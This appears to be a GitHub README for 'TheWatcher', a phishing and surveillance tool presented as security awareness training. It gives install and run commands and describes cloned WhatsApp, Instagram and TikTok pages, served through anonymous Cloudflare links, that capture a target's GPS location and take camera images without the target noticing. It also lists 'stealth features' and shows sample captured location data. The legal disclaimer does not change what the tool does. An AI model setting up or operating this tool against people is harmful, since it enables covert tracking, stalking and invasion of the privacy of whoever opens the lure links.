Skip to content

EvilmaxSec/TheWatcher

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

31 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

TheWatcher Banner

๐Ÿ”ฅ Advanced Security Awareness Training Framework ๐Ÿ”ฅ

Professional Red Team Tool for Authorized Security Testing


๐ŸŽฏ What is TheWatcher?

TheWatcher is a professional-grade security awareness training framework designed for red team operations and authorized penetration testing. It demonstrates real-world social engineering techniques using hyper-realistic social media templates to educate security professionals about modern threats.

โšก Quick Features

Feature Description
๐Ÿ“ GPS Tracking Real-time location capture with Google Maps integration
๐Ÿ“ธ Camera Access Silent camera capture with realistic UI
๐ŸŒ Cloudflare Tunnel Instant public URL - no port forwarding needed
๐Ÿ“ฑ Mobile Optimized Perfect on iOS, Android, Desktop
๐ŸŽจ Real Templates WhatsApp, Instagram, TikTok clones
๐Ÿ”’ Local Data All data stored locally - no external servers

โš ๏ธ LEGAL DISCLAIMER - READ FIRST

๐Ÿ”ด THIS TOOL IS FOR EDUCATIONAL AND AUTHORIZED SECURITY TESTING ONLY ๐Ÿ”ด

By using TheWatcher, you agree to:

โœ… Use only on systems you OWN or have WRITTEN PERMISSION to test โœ… Use only for authorized security awareness training โœ… Comply with all local, state, and federal laws โœ… Obtain explicit consent before any testing โœ… Accept full responsibility for your actions

You will NEVER use this tool for:

โŒ Stalking or harassment โŒ Unauthorized surveillance โŒ Illegal activities โŒ Targeting individuals without consent โŒ Any malicious purposes

โš ๏ธ THE AUTHOR ASSUMES NO LIABILITY FOR MISUSE OF THIS TOOL โš ๏ธ

screenshoots

TheWatcher Banner

TheWatcher Banner

TheWatcher Banner TheWatcher Banner

๐Ÿš€ (Linux/Kali/Ubuntu) Installation

# Clone repository
git clone https://github.com/EvilmaxSec/TheWatcher.git
cd TheWatcher

# Install PHP (required)
sudo apt install php -y

# Install Cloudflared (for public URLs)
wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64
chmod +x cloudflared
sudo mv cloudflared /usr/local/bin/

# Install Python dependencies
pip install -r requirements.txt

# Run TheWatcher
python3 thewatcher.py

๐Ÿ“ฑ Termux (Android) Installation

pkg update && pkg upgrade
pkg install php python wget
wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64
chmod +x cloudflared-linux-arm64
mv cloudflared-linux-arm64 $PREFIX/bin/cloudflared
git clone https://github.com/EvilmaxSec/TheWatcher.git
cd TheWatcher
pip install -r requirements.txt
python3 thewatcher.py

๐ŸŽฎ Usage Guide Main Menu

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚                MAIN MENU                        โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  [1] ๐Ÿ“ Geotrack Target Location                โ”‚
โ”‚  [2] ๐Ÿ“ธ Capture Target Camera                   โ”‚
โ”‚  [3] ๐Ÿ“Š View Collected Data                     โ”‚
โ”‚  [4] ๐Ÿšช Exit                                    โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

๐Ÿ“ Location Tracking Module

Captures GPS coordinates and device information:

[1] WhatsApp Group Invite  - Realistic group join interface
[2] Instagram Story        - Full-screen story experience  
[3] TikTok Video           - Authentic TikTok player

Customization options:

  • Group/Username
  • Verified badge
  • Profile image (URL or local)
  • Custom video (URL or local)
  • Views, Likes, Comments, Shares
  • Caption text

๐Ÿ“ธ Camera Access Module

Silently captures camera images with realistic UI:

[1] Instagram Reel  - Professional Reels interface
[2] TikTok Video    - Authentic TikTok player

Customization options:

  • Username & verified badge
  • Profile image (URL or local)
  • Custom video (URL or local)
  • Likes, Comments, Shares
  • Caption text

๐Ÿ“Š Captured Data

All data is saved locally in the data/ directory:

data/
โ”œโ”€โ”€ location_[timestamp].json    # GPS + device info
โ”œโ”€โ”€ camera_[timestamp].jpg       # Captured images
โ””โ”€โ”€ server.log                   # PHP server logs

Sample Location Output

{
  "timestamp": "2024-01-15 14:30:22",
  "ip_address": "192.168.1.100",
  "coordinates": {
    "latitude": 40.7128,
    "longitude": -74.0060,
    "accuracy": 15.2,
    "google_maps_url": "https://maps.google.com/?q=40.7128,-74.0060"
  },
  "device": {
    "os": "Android",
    "browser": "Chrome",
    "device": "Mobile Phone"
  },
  "network": {
    "country": "United States",
    "city": "New York",
    "isp": "Verizon"
  }
}

๐Ÿ”ง Requirements Requirement Version Purpose PHP 7.4+ Web server Python 3.8+ CLI interface Cloudflared Latest Tunnel service Requests 2.31.0 API calls Pillow 10.0.0 Image processing ๐Ÿ›ก๏ธ Security Best Practices

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  ๐Ÿ”’ RECOMMENDED SECURITY PRACTICES                          โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  1. Always obtain written authorization                     โ”‚
โ”‚  2. Use dedicated testing environments                      โ”‚
โ”‚  3. Clear data after testing sessions                       โ”‚
โ”‚  4. Never share captured data publicly                      โ”‚
โ”‚  5. Follow responsible disclosure guidelines                โ”‚
โ”‚  6. Respect privacy boundaries                              โ”‚
โ”‚  7. Document all testing activities                         โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

๐ŸŒŸ Features Professional UI

๐ŸŽจ Pixel-perfect social media clones

๐Ÿ“ฑ Fully responsive (mobile/desktop)

โšก Fast loading with embedded media

๐Ÿ”„ Auto-redirect to real sites

Advanced Capabilities

๐Ÿ“ GPS tracking with accuracy

๐Ÿ“ธ Silent camera capture

๐ŸŒ Cloudflare tunnel integration

๐Ÿ”’ SSL/TLS encryption

๐Ÿ“Š Detailed intelligence reports

Stealth Features

๐Ÿ”ฅ No external dependencies

๐Ÿ”ฅ Zero configuration required

๐Ÿ”ฅ Anonymous Cloudflare links

๐Ÿ”ฅ Silent permission requests

๐Ÿ”ฅ Auto-cleanup on exit

๐Ÿ“œ License

Educational Use Only - See LICENSE for details

Copyright (c) 2024 EvilmaxSec

This software is provided for educational and authorized security testing purposes only. The author assumes no liability for misuse or damage caused by this software.

โญ Show Your Support

If you find TheWatcher useful for security training:

โญ Star this repository ๐Ÿ› Report issues ๐Ÿ”€ Submit pull requests ๐Ÿ“ข Share with security community

โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
โ•‘  "Security is not a product, it's a process." - Bruce Schneierโ•‘
โ•‘                                                               โ•‘
โ•‘         Made with ๐Ÿ”ฅ by EvilmaxSec                            โ•‘
โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•

About

Advanced Security Awareness Training Framework

Topics

Resources

License

Code of conduct

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors